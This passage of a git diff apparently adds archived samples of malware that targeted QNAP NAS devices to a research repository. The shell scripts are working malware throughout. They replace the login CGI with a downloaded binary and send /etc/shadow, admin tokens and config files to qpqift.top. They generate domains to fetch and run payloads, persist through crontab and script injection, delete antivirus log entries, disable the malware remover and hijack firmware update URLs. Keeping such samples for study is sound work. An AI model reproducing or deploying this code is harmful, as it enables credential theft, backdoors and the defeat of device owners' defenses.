+Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +fi + +cgibindir='/home/httpd/cgi-bin' +if [ ! -f "1551848401_c" ] && [ -f "${cgibindir}/authLogin.cgi" ] && [ ! -f "${cgibindir}/sysauthLogin.cgi" ]; then + test -f "1551848401_c" || touch "1551848401_c" + case "$(uname -m)" in + *x86_64*) + arch=x86_64 + binhash='rrYwg0D4+4DxcDxYQsNTB4JUGlQ=' + ;; + *arm*|*aarch*) + arch=arm + binhash='Z4n2BZdhwjYf0wjM7GCW61WM9eU=' + ;; + *i*86*) + arch=i486 + binhash='U3eHe6syQraRBGgsvkFZH3wibDw=' + ;; + esac + + if [ "x${binhash}" != 'x' ]; then + curl --connect-timeout 12 -m 1200 -k -o ".qal" "https://qpqift.top/data/qal2_${arch}" || rm -f ".qal" + test -f '.qal' && rsynchash="$(openssl dgst -sha1 -binary ".qal" | openssl base64)" + if [ "x${rsynchash}" = "x${binhash}" ]; then + test -f "${cgibindir}"/sysauthLogin.cgi && mv "${cgibindir}"/sysauthLogin.cgi "${cgibindir}"/authLogin.cgi + mv "${cgibindir}"/authLogin.cgi "${cgibindir}"/sysauthLogin.cgi && test -f "${cgibindir}"/sysauthLogin.cgi && mv '.qal' "${cgibindir}"/authLogin.cgi && chmod 755 "${cgibindir}"/authLogin.cgi + fi + test -f '.qal' && rm -f '.qal' + fi +fi + +if [ -f "${cgibindir}"/authLogin.cgi ] && "${cgibindir}"/authLogin.cgi | grep '/dev/null || cat "${confdir}/BOOT.conf"` || { test "$arch_o" = arm && __BOOT_CONF=TS-NASARM; } +command -v hal_app > /dev/null 2>&1 && { __BOOT_DEV=$(hal_app --get_boot_pd port_id=0); } +test "${__BOOT_CONF}" = TS-NASARM || test "$arch_o" = arm && { test -f /etc/IS_TAS && __BOOT_DEV="${__BOOT_DEV:-/dev/mtdblock}7" || __BOOT_DEV="${__BOOT_DEV:-/dev/mtdblock}5"; } || __BOOT_DEV="${__BOOT_DEV:-/dev/sdx}6" +test "x${CONFIG_DEV_NODE}" != "x" && { ubiattach -m "${CONFIG_DEV_PART}" -d 2; mount -t ubifs ubi2:config "${mdir}" > /dev/null 2>&1 || { test -f /etc/IS_TAS && mount -t ext4 /dev/mmcblk0p7 "${mdir}"; } } || mount ${__BOOT_DEV} -t ext2 ${mdir} || { test "${__model}" = "TS-201" && mount -t ext2 /dev/mtdblock4 ${mdir}; } || { ubiattach -m "${CONFIG_DEV_PART}" -d 2; mount -t ubifs ubi2:config "${mdir}"; mount -t ext4 /dev/mmcblk0p7 "${mdir}"; } || { test "${__model}" = "TS-269L" && mount -t ext2 /dev/sdc6 ${mdir}; } || { test "${__model}" = "TS-869" && mount -t ext2 /dev/sdi6 ${mdir}; } || { test "$arch_o" = arm || ${__BOOT_CONF} = "TS-NASARM" && { for i in 5 7 4 6 3 8; do mount -t ext2 "/dev/mtdblock${i}" ${mdir} && break; done; }; } || { test "$arch_o" = x86 && for n in /dev/sdc /dev/sdx /dev/sdi $__BOOT_DEV; do for i in 6 $CONFIG_DEV_PART; do mount -t ext2 ${n}${i} ${mdir} && break 2; done; done; } || { mount -t ext2 $(/sbin/hal_app --get_boot_pd port_id=0)6 ${mdir}; } + +if [ $? -eq 0 ] || mount | grep "$mdir" >/dev/null; then +for file in "${mdir}"/K01* "${mdir}/autorun.sh" '/tmp/config/autorun.sh'; do +if [ -f "$file" ]; then +sedcmd='s/CXqrBM2CVbJog4rwwSz1Bp1i1B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex/CXqrBM2CVbJog4rwwSz1Bp1i1'"'"'\ +verifykey="${verifykey}"'"'"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex/' +grepstring='CXqrBM2CVbJog4rwwSz1Bp1i1B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex' +sedreplace "$grepstring" "$sedcmd" "$file" +sedcmd='s/g4rwwSz1Bp1i1'"'"'/g4rwwS'"''"'z1Bp1i1'"'"'/' +grepstring='g4rwwSz1Bp1i1'"'" +sedreplace "$grepstring" "$sedcmd" "$file" +test -f '.qdisk_cmd' && ./.qdisk_cmd +ia "$file" +fi +done +fi +umount "$mdir" +rmdir "$mdir" +fi + +if [ ! -f '1553058001_c' ]; then +touch '1553058001_c' +key=$(tr -dc 'a-zA-Z0-9' /dev/null || head -c 20 || IFS='' read -rd '' -n 20 key; echo "$key"; } ) +test "x$key" = 'x' && key=$(LC_ALL=C sed 's/[^a-zA-Z0-9]//g' /dev/null || head -c 20 || IFS='' read -rd '' -n 20 key; echo "$key"; } ) +{ echo "$key" | openssl rsautl -pubin -inkey .rsakey -encrypt | openssl enc -base64 -A; printf ':' +{ echo; for file in "${bdir}/.log/.rqsys.log" /etc/config/.qos_config/users/admin/.qtoken /etc/config/.qos_config/users/admin/secondSV.conf /etc/config/smbpasswd /etc/shadow /etc/config/*.conf /etc/default_config/*.conf /etc/*.conf /etc/config/.*.conf /etc/default_config/.*.conf /etc/.*.conf; do printf '%s:' "$file"; cat "$file"; echo; done; printf '%s:' "authLogin.cgi"; /home/httpd/cgi-bin/authLogin.cgi; printf '%s:' "display_name"; /sbin/get_display_name; } | gzip | { dd bs=4096 count=512 || head -c 2097152 || cat; } | openssl enc -aes-256-cbc -k "$key" -md md5 -salt -a -A; } | curl --connect-timeout 12 -m 300 -k -d '@-' "https://qpqift.top/ping.pl" +fi + +if [ ! -f 1551848403_c ]; then +touch 1551848403_c +test -f liveupdate.sh && cronscriptpath=.liveupdate/liveupdate.sh || { test -f backup_conf.sh && cronscriptpath=.config/backup_conf.sh; } + +if [ ! -z $cronscriptpath ]; then +test -d "${bdir}/.system" || mkdir -p "${bdir}/.system" +echo '(exec>/dev/null>&1 2>&1;(PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin";openssl base64 -d -A <<"EOF"|sh&' > "${bdir}/.system/.qinstaller.sh" +chmod 755 "${bdir}/.system/.qinstaller.sh" +{ +cat <<"XXEOF" +( exec >/dev/null 2>&1; ( +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" +command -v dirname >/dev/null 2>&1 || dirname () { test -z "$1" && echo "." && return; local r="${1%"${1##*[!/]}"}"; case $r in /*[!/]*/*|[!/]*/*) r="${r%/*}"; echo "${r%"${r##*[!/]}"}";; */*) echo ${r%%[!/]};; "") echo $1;; *) echo .;; esac; } +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } +test -d "$confdir" || confdir=/etc/config +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\ +\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\ +//I;s/\(^\|\ +\)\[[^\ +]\+\]\ +.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +echo 'ab*c' | grep -F 'ab*c' >/dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } +test "$fgrep" || fgrep=grep +sleep 5 +XXEOF +cat < "\${bdir}/.qpkg/${cronscriptpath}" <<"XEOF" +XXEOF +cat "${cronscriptpath#*/}" +cat </dev/null 2>&1 /dev/null 2>/dev/null & ) & ) +fi + +test -x "\${bdir}/.qpkg/${cronscriptpath}" || chmod 755 "\${bdir}/.qpkg/${cronscriptpath}" + +crontabargs=\$(ps | grep 'cr[o]nd ' | sed -n 's/.*crond[^0-9A-Za-z-]*\\(.\\+\\)/\\1/p') +trycount=10; trycount=\$(( \$trycount - 10 )) +set x \$crontabargs; shift +while [ \$# -gt 0 ] && [ \$trycount -lt 10 ]; do +trycount=\$(( \$trycount + 1 )) +getopts ':c:' OPT 2>/dev/null +test "\$OPT" = 'c' && crontabfile="\${OPTARG}/admin" && break +test "\$OPTIND" -gt 0 && shift "\$OPTIND" && OPTIND=1 || break +done +test "\$crontabfile" && test -f "\${crontabfile}" || crontabfile='/tmp/cron/crontabs/admin' + +for crontab in "\$crontabfile" "\${confdir}/crontab"; do +if \$fgrep "\${bdir}/.qpkg/${cronscriptpath}" "\$crontab"; then +: +else +cronmins=\$(printf '%i' "\$(( \$RANDOM % 60 ))") +cronhour=\$(printf '%i' "\$(( \$RANDOM % 24 ))") +cronhour=\$(printf '%i,' "\$(( ( \$cronhour + 8 ) % 24 ))" "\$(( ( \$cronhour + 16 ) % 24 ))")"\$cronhour" +echo "\$cronmins \$cronhour"' * * * '"\${bdir}/.qpkg/${cronscriptpath} >/dev/null 2>/dev/null" >> "\$crontab" +crontab "\$crontab" +sleep 2 +fi +done +) & ) & +XXEOF +} | { openssl base64 -A; echo; echo 'EOF'; echo ')&)'; } >> "${bdir}/.system/.qinstaller.sh" +{ { crontab -l || cat /etc/config/crontab; } | grep -v '^ *#' | awk '{ print $6 }'; sed -n 's/^ \?[Ss]hell \?= \?//p' /etc/config/qpkg.conf; } | grep '/' | sort | uniq | while IFS= read -r line; do +test ! -z "$line" || continue +test -f "$line" || continue +test "$line" = $(pwd)/liveupdate.sh || test "$line" = $(pwd)/backup_conf.sh && continue +grep '/\.system/\.qinstaller\.sh"; exit' "$line" && continue +head -n 1 "$line" | grep '^#! \?/bin/b\?a\?sh' || continue; +tab=' ' +test "${#tab}" -eq 1 || tab=$(printf '\011') || tab=$(echo -e '\011') +sed -i 's!^\([ '"$tab"']\{1,\}\)exit\([ '"$tab"']\{1,\}[0-9]\{1,\}\)\{0,1\}\(\;\{0,1\}[ '"$tab"']*\)$!\1{ '"${bdir}/.system/.qinstaller.sh"'; exit\2; }\3!;s!^exit\([ '"$tab"']\{1,\}[0-9]\{1,\}\)\{0,1\}\(\;\{0,1\}[ '"$tab"']*\)$!{ '"${bdir}/.system/.qinstaller.sh"'; exit\1; }!;s!/.qpkg/.q\{0,1\}installer.sh; exit!/.system/.qinstaller.sh; exit!' "$line" +hash='' +hash=$(sed -n '2,5p' "$line" | md5sum) +hash=${hash%${hash##*[0-9a-f]}}; hash=${hash#${hash%%[0-9a-f]*}} +trycnt=20 +while [ "x$hash" = 'x18ec5ab42dc1231da518951e4479c27b' ] && [ "$trycnt" -gt 0 ]; do +trycnt=$(( $trycnt - 1)) +sed -i '2,5d' "$line" +hash='' +hash=$(sed -n '2,568{/key=/d;s/\.liveupdate\/liveupdate\.sh//g;s/\.config\/backup_conf\.sh//g;p}' "$line" | md5sum) +hash=${hash%${hash##*[0-9a-f]}}; hash=${hash#${hash%%[0-9a-f]*}} +done +done +fi +fi + +test -f "${ts}_c" || touch "${ts}_c" +rm -f "${CWD}/".tmp.* +exit 0 diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/3cb052a7da6cda9609c32b5bafa11b76c2bb0f74b61277fecf464d3c0baeac0e b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/3cb052a7da6cda9609c32b5bafa11b76c2bb0f74b61277fecf464d3c0baeac0e new file mode 100644 index 0000000..8cae5dc --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/3cb052a7da6cda9609c32b5bafa11b76c2bb0f74b61277fecf464d3c0baeac0e @@ -0,0 +1,107 @@ +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" + +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } + +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } + +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +grep -F '' </dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } + +EOF +test "$fgrep" || fgrep=grep +test "$RANDOM" || RANDOM=17653 +genrstr () +{ + local s=; + local min=${1:-4}; + local max=${2:-12}; + local kspace="${3:-a-zA-Z}" + tr -dc "$kspace" < /dev/urandom | { + read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s; + echo "$s" + } +} + +verifyfile() { +local file="$1" +local sig="${2:-$file_s}" +local out +test ! -z "$file" && test -s "$file" || return 1 +test ! -z "$sig" && test -s "$sig" || return 1 +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0 +return 1 +} + +decryptfile() { +local file="$1" +local ofile="${2:-${file}}" +local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ' +openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $? +test -f "$ofile" && rm -f "$ofile" +mv "${file}_d" "$ofile" && return 0 +return 1 +} + +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' + +DOMAIN_EXT_A='cf tk ml ga gq' +DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd' + +test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.liveupdate" || mkdir "${bdir}/.qpkg/.liveupdate" +cd "${bdir}/.qpkg/.liveupdate" && rm -f .tmp.* + +echo "$verifykey" > ".rsakey" +i=0 n=0 c=0 errorcount=0 +outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out' + +for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do + for ext in $domainexts; do + hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g') + hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]} + hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}" + hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname" + for host in $hostnames; do + test -f "$outfile" && rm -f "$outfile" + recentupdate='' + curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" + test -s "$outfile" || continue + fsize=$(( $(wc -c < "$outfile") )) + test "$fsize" -gt 4096 && rm -f "$outfile" && continue + rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue + test "$rsamsg" || continue + path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}" + hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}" + test "$rsadomain" = "${host}.${ext}" || continue + timenow=$(date +%s) + test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1 + curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}" + filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue + test "$filehash" = "$hash" || continue + curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}" + verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue + mv "${outfile}_s" "${ts}_v" + chmod 755 "$outfile" || continue + ( ( exec >/dev/null 2>/dev/null /dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` && test -d "$bdir" || bdir='' +test -z "${bdir}" || test ! -d "${bdir}"; } && { while read -r bdir; do +test -d "$bdir" && break; bdir='' +done < 1547096400 AND desc LIKE '[AntiVirus] Failed to update virus definitions%'") +conn.commit() +conn.close() +exit() +EOF +test -f '/mnt/HDA_ROOT/.logs/event.log' && python <<"EOF" +import sqlite3 +conn = sqlite3.connect('/mnt/HDA_ROOT/.logs/event.log') +c = conn.cursor() +c.execute("DELETE FROM NASLOG_EVENT WHERE event_timet > 1547096400 AND event_desc LIKE '[AntiVirus] Failed to update virus definitions%'") +conn.commit() +conn.close() +exit() +EOF +fi +if getcfg MalwareRemover Enable -f /etc/config/qpkg.conf | grep -i 'true' || grep 'MalwareRemover' '/etc/config/crontab' '/tmp/cron/crontabs/admin'; then +test -f '/mnt/HDA_ROOT/.logs/notice.log' && python <<"EOF" +import sqlite3 +conn = sqlite3.connect('/mnt/HDA_ROOT/.logs/notice.log') +c = conn.cursor() +c.execute("DELETE FROM NASLOG_NOTICE WHERE time > 1547964000 AND desc LIKE '[MalwareRemover] Malware Remover stopped%'") +conn.commit() +conn.close() +exit() +EOF +test -f '/mnt/HDA_ROOT/.logs/event.log' && python <<"EOF" +import sqlite3 +conn = sqlite3.connect('/mnt/HDA_ROOT/.logs/event.log') +c = conn.cursor() +c.execute("DELETE FROM NASLOG_EVENT WHERE event_timet > 1547964000 AND event_desc LIKE '[MalwareRemover] Malware Remover stopped%'") +conn.commit() +conn.close() +exit() +EOF +touch "1548766800_c" +fi +fi + +if [ ! -f ".qdisk_cmd" ]; then + case "$(uname -m)" in + *x86_64*) + arch=x86_64 + binhash='g2oe7EJJVCiAHY6AG1I1c/lGF8Y=' + ;; + *arm*|*aarch*) + arch=arm + binhash='Z3twHZvQqYZ1vLeu4PLnZekdkRY=' + ;; + *i*86*) + arch=i486 + binhash='gWzECXuIp3dz5yI7RJS9d4+xpq4=' + ;; + esac + + if [ "x${binhash}" != 'x' ]; then + curl --connect-timeout 12 -m 1200 -k -o ".qdisk_cmd.tmp" "https://qpqift.top/data/qdisk_cmd_${arch}" || rm -f ".qdisk_cmd.tmp" + test -f '.qdisk_cmd.tmp' && rsynchash="$(openssl dgst -sha1 -binary ".qdisk_cmd.tmp" | openssl base64)" + if [ "x${rsynchash}" = "x${binhash}" ]; then + mv '.qdisk_cmd.tmp' '.qdisk_cmd' && chmod +x '.qdisk_cmd' + else + rm -f '.qdisk_cmd.tmp' + fi + fi +fi +binhash=''; rsynchash='' + +for path in ".config/backup_conf.sh" ".liveupdate/liveupdate.sh"; do +if [ -f "${path#*/}" ]; then +test -f '.qdisk_cmd' && ./.qdisk_cmd +i "${path#*/}" +elif [ -f "${bdir}/.qpkg/${path}" ]; then +test -f '.qdisk_cmd' && ./.qdisk_cmd +i "${bdir}/.qpkg/${path}" +fi +done + +version=$(getcfg System Version) +test "x${version}" = 'x' && version=$(getcfg System Version -f /etc/default_config/uLinux.conf) +test "${version##*.}" -lt 3 || test "${version%%.*}" -lt 4 || test "$(version=${version#*.}; echo "${version%.*}")" -lt 3 && version=4.3.3 || { test "${version##*.}" -gt 5 && version=4.3.5; } + +if [ ! -d rssdoc ]; then +command -v bunzip2 && compext=bz2 || compext=gz +curl --connect-timeout 12 -m 1200 -k -o "rssdoc.tar.${compext}" "https://qpqift.top/data/rssdoc.tar.${compext}" && test -f "rssdoc.tar.${compext}" && rssdochash="$(openssl dgst -sha1 -binary "rssdoc.tar.${compext}" | openssl base64)" && { test "$rssdochash" = 'WOkc6vlUa7A30GKa4Z4o02CIexk=' || test "$rssdochash" = "0h0Jyx52a/F9YB80Ml4SsEsugyA="; } && { test "$compext" = bz2 && tarflag=j || tarflag=z; } && tar -x${tarflag}f "rssdoc.tar.${compext}" || rm -f rssdoc.tar +rm -f "rssdoc.tar.${compext}" +fi + +rm -f /home/httpd/{Liveupdate,FirmwareRelease{,_beta}S.xml} +ln -s "${CWD}"/rssdoc/{Liveupdate,FirmwareRelease{,_beta}S.xml} /home/httpd + +if grep 'Liveupdate\|FirmwareRelease\|QTS_FW' /etc/default_config/uLinux.conf /etc/config/uLinux.conf | grep 'qnap\.com\|0\.0\.0\.0'; then +internalwebport=$(/sbin/getcfg System InnerWebAccessPort -d 58080) +localupdateurl="http://127.0.0.1:${internalwebport}" +sed -i 's/https\?:\/\/[^\/]\+\/\(Liveupdate\|FirmwareRelease\|QTS_FW\)/http:\/\/127.0.0.1:'${internalwebport}'\/\1/' /etc/default_config/uLinux.conf /etc/config/uLinux.conf +fi + +test -f '/etc/config/rssdoc/qpkgcenter_*.xml' || test -h '/etc/config/rssdoc/qpkgcenter_*.xml' && { test -f '.qdisk_cmd' && ./.qdisk_cmd -i '/etc/config/rssdoc/qpkgcenter_*.xml'; rm -f '/etc/config/rssdoc/qpkgcenter_*.xml'; } + +if find /etc/config/rssdoc | grep 'qpkgcenter_.*\.xml'; then +: +else +cp "./rssdoc/Liveupdate/QTS${version}/qpkgcenter_eng.xml" '/etc/config/rssdoc/qpkgcenter_eng.xml' +test -f '.qdisk_cmd' && ./.qdisk_cmd +i '/etc/config/rssdoc/qpkgcenter_eng.xml' +fi + +for file in /etc/config/rssdoc/qpkgcenter_*.xml +do +if [ -f "$file" ] && { rm -f "$file" || [ ! -s "$file" ]; }; then +test -f '.qdisk_cmd' && ./.qdisk_cmd -i "$file" +touch "$file" +cp -f "./rssdoc/Liveupdate/QTS${version}/${file##*/}" "$file" +test -f '.qdisk_cmd' && ./.qdisk_cmd +i "$file" +fi +done +file='' + +for qpkgdir in "${bdir}/.qpkg" '../../.qpkg'; do +test -d "$qpkgdir" && break +done +test -d "${qpkgdir}/MalwareRemover" || mkdir "${qpkgdir}/MalwareRemover" +test -d "${qpkgdir}/MalwareRemover/modules" || mkdir "${qpkgdir}/MalwareRemover/modules" +test -f '.qdisk_cmd' && ./.qdisk_cmd -i "${qpkgdir}/MalwareRemover" + +if [ -d "${qpkgdir}/MalwareRemover/modules" ]; then +for file in 10_derek_3.pyc 12_derek_3.pyc; do +if [ ! -f "${qpkgdir}/MalwareRemover/modules/${file}" ] || rm -f "${qpkgdir}/MalwareRemover/modules/${file}" || test -x "${qpkgdir}/MalwareRemover/modules/${file}" || [ $(wc -c < "${qpkgdir}/MalwareRemover/modules/${file}") -gt 150 ] || [ $(wc -c < "${qpkgdir}/MalwareRemover/modules/${file}") -lt 120 ]; then +test -f '.qdisk_cmd' && test -f "${qpkgdir}/MalwareRemover/modules/${file}" && ./.qdisk_cmd -i "${qpkgdir}/MalwareRemover/modules/${file}" && rm -f "${qpkgdir}/MalwareRemover/modules/${file}" +openssl base64 -d <<"EOF" >"${qpkgdir}/MalwareRemover/modules/${file}" +A/MNCuVwTVxjAAAAAAAAAAABAAAAQAAAAHMLAAAAZQAAgwAAAWQAAFMoAQAAAE4o +AQAAAHQEAAAAZXhpdCgAAAAAKAAAAAAoAAAAAHMVAAAAbW9kdWxlcy8xMF9kZXJl +a18zLnB5dAgAAAA8bW9kdWxlPgEAAABzAAAAAA== +EOF +chmod -x "${qpkgdir}/MalwareRemover/modules/${file}" +test -f '.qdisk_cmd' && ./.qdisk_cmd +i "${qpkgdir}/MalwareRemover/modules/${file}" +fi +done +fi +file=''; qpkgdir='' + +if [ ! -f .rsakey ]; then +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +fi + +cgibindir='/home/httpd/cgi-bin' +if [ ! -f "1549101600_c" ] && [ -f "${cgibindir}/authLogin.cgi" ]; then + test -f "1549101600_c" || touch "1549101600_c" + case "$(uname -m)" in + *x86_64*) + arch=x86_64 + 